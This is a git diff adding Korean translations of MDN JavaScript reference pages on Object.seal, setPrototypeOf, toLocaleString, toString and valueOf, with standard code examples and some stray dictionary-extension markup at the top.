+<div id="dicRawData" style="display: none;">{"mean":["take&lt;br/&gt;&lt;br/&gt;[동사]\n\t\t ~ sth (with you) | ~ sth (to sb) | ~ (sb) sth\n\t\t \t\t(어떤 것을 한 곳에서 다른 곳으로) 가지고 가다[이동시키다]","though&lt;br/&gt;&lt;br/&gt;[접속사]\n\t\t \t\t(비록) …이긴 하지만[…인데도/…일지라도]\n\n\t\t\t\t\t\t\t\t유의어 although","value&lt;br/&gt;&lt;br/&gt;[명사]\n\t\t \t\t(경제적인) 가치\n\n\t\t 참조 market value, street value","other&lt;br/&gt;&lt;br/&gt;[형용사, 대명사]\n\t\t \t\t(그 밖의) 다른; 다른 사람[것]\n\n\t\t 참조 another","may&lt;br/&gt;&lt;br/&gt;[법조동사]\n\t\t \t\t(가능성을 나타내어) …일지도 모른다[…일 수도 있다]"],"word":"\n\t\t\t\t\t\ttake\n \t\t\t\n\t \t\n\t ","soundUrl":"https://dict-dn.pstatic.net/v?_lsu_sa_=3cd8f6567dcc35f67a9d216930e402fa1d2763157705ff3d60620d707b1d60814356971c64e54c7e792964a50a21103d6cc3ad8a5c30e6d7e9205e93c8517e38f8e5b191d1700b6773822766eee45672523cb75822e10196643a3baf5d3dabb04974f799e77e47c4f2db9476dbfb3e4bf612100b4fa8e918f972d80a449bc79c","phoneticSymbol":"[teɪk]"}</div>
+
+<div id="dicLayerLoader" style="top: 3322px; left: 514px;"></div>
diff --git a/files/ko/web/javascript/reference/global_objects/object/seal/index.html b/files/ko/web/javascript/reference/global_objects/object/seal/index.html
new file mode 100644
index 0000000000..c97f71c26d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/seal/index.html
@@ -0,0 +1,135 @@
+---
+title: Object.seal()
+slug: Web/JavaScript/Reference/Global_Objects/Object/seal
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Object
+ - Reference
+ - 봉인
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/seal
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.seal()</strong></code> 메서드는 객체를 밀봉합니다. 객체를 밀봉하면 그 객체에는 새로운 속성을 추가할 수 없고, 현재 존재하는 모든 속성을 설정 불가능 상태로 만들어줍니다. 하지만 쓰기 가능한 속성의 값은 밀봉 후에도 변경할 수 있습니다(역자 주 : 바로 이 점이 <code>Object.freeze()</code>와의 차이라고 할 수 있습니다).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-seal.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">Object.seal(<var>obj</var>)</pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>봉인할 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>봉인한 객체.</p>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p>객체는 기본적으로 확장이 가능(<span style="line-height: 16.7999992370605px;">{{jsxref("Object.isExtensible()", "extensible", "", 1)}}</span>)합니다. 즉, 새로운 속성을 추가할 수 있습니다. 하지만 객체를 밀봉하면 그 객체에 새로운 속성을 추가할 수 없게되고, 그 객체 내에 존재하는 모든 속성이 설정 불가능(non-configurable)해 집니다. 객체를 밀봉하면 객체의 속성을 고정된 불변의 상태로 만듭니다. 모든 속성을 설정 불가능한 상태로 만드는 것은 데이터 속성(data properties)을 접근자 속성(accessor properties)으로, 또는 접근자 속성을 데이터 속성으로 변경할 수 없게 만듭니다. 하지만 객체를 완전히 얼려서 데이터 속성의 값도 변경할 수 없게 만드는 <code>Object.freeze()</code>와 달리, <code><strong>Object.seal()</strong></code>은 객체를 밀봉한 후에도 그 객체의 데이터 속성의 값은 여전히 변경할 수 있게 해줍니다. 다만, 밀봉한 후에는 객체를 얼리는 것과 마찬가지로 속성의 추가/삭제나 데이터 속성과 접근자 속성 사이의 전환은 암묵적이든, 아니면 <span style="line-height: 16.7999992370605px;">{{jsxref("Strict_mode", "strict mode", "", 1)}} 에서와 같이 명시적으로 {{jsxref("Global_Objects/TypeError", "TypeError")}} 예외를 발생시키든 모두 실패로 끝납니다.</span></p>
+
+<p>프로토타입 체인은 밀봉 전이나 후나 달라지지 않습니다. 하지만 <span style="line-height: 16.7999992370605px;">{{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}} 속성은 함께 밀봉됩니다.</span></p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: js">var obj = {
+ prop: function() {},
+ foo: 'bar'
+};
+
+// 새 속성이 추가되고, 기존 속성은 변경되거나 제거될 수 있음
+obj.foo = 'baz';
+obj.lumpy = 'woof';
+delete obj.prop;
+
+var o = Object.seal(obj);
+
+assert(o === obj);
+assert(Object.isSealed(obj) === true);
+
+// 밀봉한 객체의 속성값은 밀봉 전과 마찬가지로 변경할 수 있음
+obj.foo = 'quux';
+obj.foo // 'quux' 가 출력됨
+
+// 데이터 속성과 접근자 속성 사이의 전환은 불가
+Object.defineProperty(obj, 'foo', { get: function() { return 'g'; } }); // TypeError 발생
+
+// 속성값의 변경을 제외한 어떤 변경도 적용되지 않음
+obj.quaxxor = 'the friendly duck'; // 에러가 나지는 않지만 속성은 추가되지 않음
+delete obj.foo; // 에러가 나지는 않지만 속성이 삭제되지 않음
+
+// strict mode 에서는 속성값의 변경을 제외한 모든 변경은 TypeError 발생
+function fail() {
+ 'use strict';
+ delete obj.foo; // TypeError 발생
+ obj.sparky = 'arf'; // TypeEror 발생
+}
+fail();
+
+// Object.defineProperty() 메서드를 이용한 속성의 추가도 TypeError 발생
+Object.defineProperty(obj, 'ohai', { value: 17 }); // TypeErorr 발생
+Object.defineProperty(obj, 'foo', { value: 'eit' }); // 속성값의 변경은 가능함
+</pre>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p>ES5에서는 <code><strong>Object.seal()</strong></code> 메서드의 인자가 객체가 아닐 때(즉, 원시형일 때)는 <span style="line-height: 16.7999992370605px;">{{jsxref("Global_Objects/TypeError", "TypeError")}}가 발생합니다. ES6에서는 원시형 인자도 밀봉된 객체라고 취급해서 {{jsxref("Global_Objects/TypeError", "TypeError")}}를 발생시키지 않고 원시형 인자를 그대로 반환합니다.</span></p>
+
+<pre class="brush: js">&gt; Object.seal(1)
+TypeError: 1 is not an object // ES5 code
+
+&gt; Object.seal(1)
+1 // ES6 code
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.8', 'Object.seal')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.seal', 'Object.seal')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.seal', 'Object.seal')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.seal")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/setprototypeof/index.html b/files/ko/web/javascript/reference/global_objects/object/setprototypeof/index.html
new file mode 100644
index 0000000000..332f857361
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/setprototypeof/index.html
@@ -0,0 +1,242 @@
+---
+title: Object.setPrototypeOf()
+slug: Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf
+---
+<p>{{JSRef}}</p>
+
+<p>Object.setPrototypeOf() 메소드는  지정된 객체의 프로토타입 (즉, 내부 [[Prototype]] 프로퍼티)을 다른 객체 또는 {{jsxref("null")}} 로 설정합니다.</p>
+
+<div class="warning">
+<p><strong>Warning:</strong> Changing the <code>[[Prototype]]</code> of an object is, by the nature of how modern JavaScript engines optimize property accesses, a very slow operation, in <strong><em>every</em></strong> browser and JavaScript engine. The effects on performance of altering inheritance are subtle and far-flung, and are not limited to simply the time spent in <code>obj.__proto__ = ...</code> statement, but may extend to <strong><em>any</em></strong> code that has access to <strong><em>any</em></strong> object whose <code>[[Prototype]]</code> has been altered. If you care about performance you should avoid setting the <code>[[Prototype]]</code> of an object. Instead, create a new object with the desired <code>[[Prototype]]</code> using {{jsxref("Object.create()")}}.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate"><code>Object.setPrototypeOf(<var>obj</var>, <var>prototype</var>);</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>프로토타입을 설정을 가지는 객체</dd>
+ <dt><code>prototype</code></dt>
+ <dd>객체의 새로운 프로토 타입  (객체 or {{jsxref("null")}}).</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>지정된 객체 </p>
+
+<h2 id="Description">Description</h2>
+
+<p>만일 프로토타입이 변경될 객체가 {{jsxref("Object.isExtensible()")}} 에 의해서 non-extensible 하다면,  {{jsxref("TypeError")}} 예외처리를 해라. 만일 프로토타입 파라미터가 객체가 아니거나 {{jsxref("null")}} (i.e., number, string, boolean,  {{jsxref("undefined")}}) 인 경우가 아니라면 어떠한 작업도 하지마라. 이 방법을 통해서 객제의 프로토타입이 새로운 값으로 변경될 것이다.</p>
+
+<p>Object.setPrototypeOf는 ECMAScript 2015 스펙으로 규정되어 있다. 해당 메소드는 일반적으로 객체의 프로토타입과 논쟁이 되는 {{jsxref("Object.prototype.__proto__")}} 프로퍼티를 설정하는 적절한 방법으로 고려된다. </p>
+
+<p>Examples</p>
+
+<pre class="brush: js notranslate">var dict = Object.setPrototypeOf({}, null);
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>예전 버전의 프로퍼티 {{jsxref("Object.prototype.__proto__")}} 를 사용한다면, 우리는 쉽게 Object.setPrototypeOf 가 쉽게 정의 할수 있다.</p>
+
+<pre class="brush: js notranslate">// Only works in Chrome and FireFox, does not work in IE:
+Object.setPrototypeOf = Object.setPrototypeOf || function(obj, proto) {
+ obj.__proto__ = proto;
+ return obj;
+}
+</pre>
+
+<h2 id="Appending_Prototype_Chains">Appending Prototype Chains</h2>
+
+<p><code>Object.getPrototypeOf()</code> and {{jsxref("Object.proto", "Object.prototype.__proto__")}} 의 결합은 새로운 프로토타입 오브젝트에 전반적인 프로토타입 Chain을 설정하도록 할수 있다.</p>
+
+<pre class="brush: js notranslate">/**
+*** Object.appendChain(@object, @prototype)
+*
+* Appends the first non-native prototype of a chain to a new prototype.
+* Returns @object (if it was a primitive value it will transformed into an object).
+*
+*** Object.appendChain(@object [, "@arg_name_1", "@arg_name_2", "@arg_name_3", "..."], "@function_body")
+*** Object.appendChain(@object [, "@arg_name_1, @arg_name_2, @arg_name_3, ..."], "@function_body")
+*
+* Appends the first non-native prototype of a chain to the native Function.prototype object, then appends a
+* new Function(["@arg"(s)], "@function_body") to that chain.
+* Returns the function.
+*
+**/
+
+Object.appendChain = function(oChain, oProto) {
+ if (arguments.length &lt; 2) {
+ throw new TypeError('Object.appendChain - Not enough arguments');
+ }
+ if (typeof oProto !== 'object' &amp;&amp; typeof oProto !== 'string') {
+ throw new TypeError('second argument to Object.appendChain must be an object or a string');
+ }
+
+ var oNewProto = oProto,
+ oReturn = o2nd = oLast = oChain instanceof this ? oChain : new oChain.constructor(oChain);
+
+ for (var o1st = this.getPrototypeOf(o2nd);
+ o1st !== Object.prototype &amp;&amp; o1st !== Function.prototype;
+ o1st = this.getPrototypeOf(o2nd)
+ ) {
+ o2nd = o1st;
+ }
+
+ if (oProto.constructor === String) {
+ oNewProto = Function.prototype;
+ oReturn = Function.apply(null, Array.prototype.slice.call(arguments, 1));
+ this.setPrototypeOf(oReturn, oLast);
+ }
+
+ this.setPrototypeOf(o2nd, oNewProto);
+ return oReturn;
+}
+</pre>
+
+<h3 id="Usage">Usage</h3>
+
+<h4 id="First_example_프로토타입에_Chain_설정하기">First example: 프로토타입에 Chain 설정하기</h4>
+
+<pre class="brush: js notranslate">function Mammal() {
+ this.isMammal = 'yes';
+}
+
+function MammalSpecies(sMammalSpecies) {
+ this.species = sMammalSpecies;
+}
+
+MammalSpecies.prototype = new Mammal();
+MammalSpecies.prototype.constructor = MammalSpecies;
+
+var oCat = new MammalSpecies('Felis');
+
+console.log(oCat.isMammal); // 'yes'
+
+function Animal() {
+ this.breathing = 'yes';
+}
+
+Object.appendChain(oCat, new Animal());
+
+console.log(oCat.breathing); // 'yes'
+</pre>
+
+<h4 id="Second_example_객체_Constructor의_인스턴스에_존재하는_원래_값을_변경_및_해당_객체_프로토타입에_Chain_설정하기">Second example: 객체 Constructor의 인스턴스에 존재하는 원래 값을 변경 및 해당 객체 프로토타입에 Chain 설정하기</h4>
+
+<pre class="brush: js notranslate">function MySymbol() {
+ this.isSymbol = 'yes';
+}
+
+var nPrime = 17;
+
+console.log(typeof nPrime); // 'number'
+
+var oPrime = Object.appendChain(nPrime, new MySymbol());
+
+console.log(oPrime); // '17'
+console.log(oPrime.isSymbol); // 'yes'
+console.log(typeof oPrime); // 'object'
+</pre>
+
+<h4 id="Third_example_Function.prototype객체에_Chain을_설정하고_그_Chain에_새로운_함수를_설정하기">Third example: Function.prototype객체에 Chain을 설정하고 그 Chain에 새로운 함수를 설정하기</h4>
+
+<pre class="brush: js notranslate">function Person(sName) {
+ this.identity = sName;
+}
+
+var george = Object.appendChain(new Person('George'),
+ 'console.log("Hello guys!!");');
+
+console.log(george.identity); // 'George'
+george(); // 'Hello guys!!'
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-object.setprototypeof', 'Object.setProtoypeOf')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.setprototypeof', 'Object.setProtoypeOf')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("34")}}</td>
+ <td>{{CompatGeckoDesktop("31")}}</td>
+ <td>{{CompatIE("11")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatSafari("9")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile("31")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatSafari("9")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Reflect.setPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.__proto__")}} </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/tolocalestring/index.html b/files/ko/web/javascript/reference/global_objects/object/tolocalestring/index.html
new file mode 100644
index 0000000000..809daad824
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/tolocalestring/index.html
@@ -0,0 +1,86 @@
+---
+title: Object.prototype.toLocaleString()
+slug: Web/JavaScript/Reference/Global_Objects/Object/toLocaleString
+tags:
+ - JavaScript
+ - Method
+ - Object
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>toLocaleString()</strong></code> 메서드는 객체로 된 문자열을 반환합니다. 이 메서드는 지역별로 다른 객체로 재정의되어 표시됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-tolocalestring.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>obj</var>.toLocaleString()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체를 나타내는 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Object")}}의 <code>toLocaleString</code>은 {{jsxref("Object.toString", "toString()")}}을 호출 한 결과를 반환합니다.</p>
+
+<p>이 함수는 모든 객체가 사용할 수는 없지만 객체에 일반 <code>toLocaleString</code> 메소드를 제공하기 위해 제공됩니다. 아래 목록을 참조하십시오.</p>
+
+<h3 id="toLocaleString()을_재정의하는_객체"><code>toLocaleString()</code>을 재정의하는 객체</h3>
+
+<ul>
+ <li>{{jsxref("Array")}}: {{jsxref("Array.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Number")}}: {{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date")}}: {{jsxref("Date.prototype.toLocaleString()")}}</li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.4.3', 'Object.prototype.toLocaleString')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.toLocaleString")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/tostring/index.html b/files/ko/web/javascript/reference/global_objects/object/tostring/index.html
new file mode 100644
index 0000000000..77e4284ff7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/tostring/index.html
@@ -0,0 +1,134 @@
+---
+title: Object.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Object/toString
+tags:
+ - JavaScript
+ - Method
+ - Object
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toString
+---
+<div></div>
+
+<div>{{JSRef}}</div>
+
+<p>The <code><strong>toString()</strong></code> 은 문자열을 반환하는 object의 대표적인 방법이다</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-tostring.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.toString()</code></pre>
+
+<h2 id="Description">Description</h2>
+
+<p>모든 객체에는 객체가 텍스트 값으로 표시되거나 객체가 문자열이 예상되는 방식으로 참조 될 때 자동으로 호출되는 <code>toString()</code> 메서드가 있습니다. 기본적으로 <code>toString()</code> 메서드는 Object에서 비롯된 모든 객체에 상속됩니다. 이 메서드가 사용자 지정 개체에서 재정의되지 않으면 <code>toString()</code>은 "<code>[object type]</code>"을 반환합니다. 여기서 <code>type</code>은 object type입니다. 다음 코드는 이것을 설명합니다</p>
+
+<pre class="brush: js">var o = new Object();
+o.toString(); // returns [object Object]
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> 자바스크립트 1.8.5부터 {{jsxref("null")}}의 <code>toString()</code>을 호출하는 경우 <code>[object <em>Null</em>]</code>을 반환하며, {{jsxref("undefined")}}는 <code>[object <em>Undefined</em>]</code>를 반환합니다. 이는 ECMAScript 제 5판과 후속 정오표에 정의되어 있습니다.  See {{anch("toString으로_객체_클래스_검사", "toString으로_객체_클래스_검사")}}.</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="기본_toString_메소드_재정의">기본 <code>toString</code> 메소드 재정의</h3>
+
+<p>기본 <code>toString()</code> 메서드 대신에 호출될 함수를 정의할 수 있습니다. <code>toString()</code> 메서드는 인자를 취하지 않고 문자열을 반환합니다. 직접 생성한 <code>toString()</code> 메서드는 원하는 어떤 값이든 될 수 있지만 해당 객체에 대한 정보를 전달하고 있을 때 가장 유용할 것입니다.</p>
+
+<p>다음 코드는 <code>Dog</code> 객체 타입을 정의하고 <code>Dog</code> 타입을 따르는 <code>theDog</code>를 생성합니다:</p>
+
+<pre class="brush: js">function Dog(name, breed, color, sex) {
+ this.name = name;
+ this.breed = breed;
+ this.color = color;
+ this.sex = sex;
+}
+
+theDog = new Dog('Gabby', 'Lab', 'chocolate', 'female');
+</pre>
+
+<p>커스텀 객체의 <code>toString()</code> 메서드를 호출하는 경우 {{jsxref("Object")}}로부터 상속받은 기본 값을 반환하게 됩니다:</p>
+
+<pre class="brush: js">theDog.toString(); // returns [object Object]
+</pre>
+
+<p>다음 코드는 기본 <code>toString()</code> 메서드를 재정의하는 <code>dogToString()</code>을 생성하고 할당합니다. 이 함수는 객체의 name, breed, color, sex를 포함하는 문자열을 "<code>property = value;</code>"의 형태로 만들어냅니다.</p>
+
+<pre class="brush: js">Dog.prototype.toString = function dogToString() {
+ var ret = 'Dog ' + this.name + ' is a ' + this.sex + ' ' + this.color + ' ' + this.breed;
+ return ret;
+}
+</pre>
+
+<p>앞선 코드를 사용하면 문자열 컨텍스트에서 <code>theDog</code>가 사용될 때마다 자바스크립트는 자동으로 <code>dogToString() </code>함수를 호출하여 다음 문자열을 반환합니다:</p>
+
+<pre class="brush: js">"Dog Gabby is a female chocolate Lab"
+</pre>
+
+<h3 id="toString으로_객체_클래스_검사"><code>toString()</code>으로 객체 클래스 검사</h3>
+
+<p><code>toString()</code>은 모든 객체에 사용되어 해당 객체의 클래스를 가져올 수 있습니다. Object.prototype.toString()을 모든 객체에 사용하기 위해서는 {{jsxref("Function.prototype.call()")}} 나 {{jsxref("Function.prototype.apply()")}}를 사용해서 검사하고자 하는 객체를 <code>thisArg</code>로 불리는 첫번째 파라미터로 넘겨야 합니다.</p>
+
+<pre class="brush: js">var toString = Object.prototype.toString;
+
+toString.call(new Date); // [object Date]
+toString.call(new String); // [object String]
+toString.call(Math); // [object Math]
+
+// Since JavaScript 1.8.5
+toString.call(undefined); // [object Undefined]
+toString.call(null); // [object Null]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.4.2', 'Object.prototype.toString')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Call on {{jsxref("null")}} returns <code>[object <em>Null</em>]</code>, and {{jsxref("undefined")}} returns <code>[object <em>Undefined</em>]</code></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.prototype.tostring', 'Object.prototype.toString')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.prototype.tostring', 'Object.prototype.toString')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.toString")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+ <li>{{jsxref("Symbol.toPrimitive")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/valueof/index.html b/files/ko/web/javascript/reference/global_objects/object/valueof/index.html
new file mode 100644
index 0000000000..7bef3bd48c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/valueof/index.html
@@ -0,0 +1,118 @@
+---
+title: Object.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/Object/valueOf
+tags:
+ - JavaScript
+ - Method
+ - Object
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>valueOf()</strong></code> 메서드는 특정 객체의 원시 값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-valueof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><code><var>object</var>.valueOf()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체의 원시 값.</p>
+
+<div class="blockIndicator note">
+<p> <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators#단항_연산자">(단항) 더하기 기호</a> 는 가끔  <code>valueOf</code> 의 단축 표현으로 사용됩니다. 예를 들면, 다음과 같은 표현을 보세요. <code>+new Number()</code>. <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf#단항_더하기_사용하기">단항 더하기 사용하기</a>.도 참조 하세요.</p>
+</div>
+
+<h2 id="설명">설명</h2>
+
+<p>JavaScript는 객체를 원시 값으로 변환할 때 <code>valueOf</code> 메서드를 호출합니다. 보통 원시 값을 필요로 할 때 알아서 사용하므로 직접 호출해야 하는 경우는 매우 드뭅니다.</p>
+
+<p>기본적으로 {{jsxref("Object")}}의 모든 후손 객체는 <code>valueOf</code>를 상속받습니다. 내장된 핵심 객체는 모두 <code>valueOf</code>를 재정의<sup>override</sup>해 적합한 값을 반환합니다. 어떤 객체가 원시 값을 가지고 있지 않다면, <code>valueOf</code>는 객체 스스로를 반환합니다.</p>
+
+<p>여러분의 코드에서 <code>valueOf</code>를 호출해 내장 객체를 원시 값으로 변환할 수 있습니다. 사용자 정의 객체를 만들 땐 <code>valueOf</code>를 재정의해 {{jsxref("Object")}}의 메서드 대신 다른 행동을 부여할 수도 있습니다.</p>
+
+<h3 id="사용자_정의_객체의_valueOf_오버라이딩">사용자 정의 객체의 valueOf 오버라이딩</h3>
+
+<p>기본 <code>valueOf</code> 메서드 대신 사용할 함수를 생성할 수 있습니다. 이 때 함수는 매개변수를 받지 않아야 합니다.</p>
+
+<p><code>MyNumberType</code>이라는 객체 형태가 존재하고, 이 객체의 <code>valueOf</code> 메서드를 만들고 싶다고 가정하겠습니다. 다음의 코드는 객체의 <code>valueOf</code> 메서드에 사용자 정의 함수를 할당합니다.</p>
+
+<pre class="brush: js notranslate">MyNumberType.prototype.valueOf = function() { return customPrimitiveValue; };</pre>
+
+<p>위의 코드가 활성화된 상태에서 어떤 <code>MyNumberType</code> 객체를 원시 값으로 표현해야 하면 JavaScript가 자동으로 저 함수를 실행합니다.</p>
+
+<p>이 객체의 <code>valueOf</code> 메서드는 보통 JavaScript가 호출하겠지만 다음처럼 직접 호출할 수도 있습니다.</p>
+
+<pre class="brush: js notranslate">myNumberType.valueOf()</pre>
+
+<div class="note">
+<p><strong>참고:</strong> 문자열 문맥에서 객체-문자열 변환은 {{jsxref("Object.toString", "toString()")}} 메서드를 사용하며, {{jsxref("String")}} 객체의 <code>valueOf</code>를 사용해 원시 문자열로 변환하는 것과는 다릅니다. 모든 객체는, 비록 결과가 "<code>[object type]</code>" 뿐이라도 문자열 변환 기능을 가지고 있습니다. 그러나 대다수의 객체는 숫자, 불리언, 함수 등으로 변환되지 않습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="커스텀_타입에_valueOf_사용하기">커스텀 타입에 valueOf 사용하기</h3>
+
+<pre class="brush: js notranslate">function MyNumberType(n) {
+ this.number = n;
+}
+
+MyNumberType.prototype.valueOf = function() {
+ return this.number;
+};
+
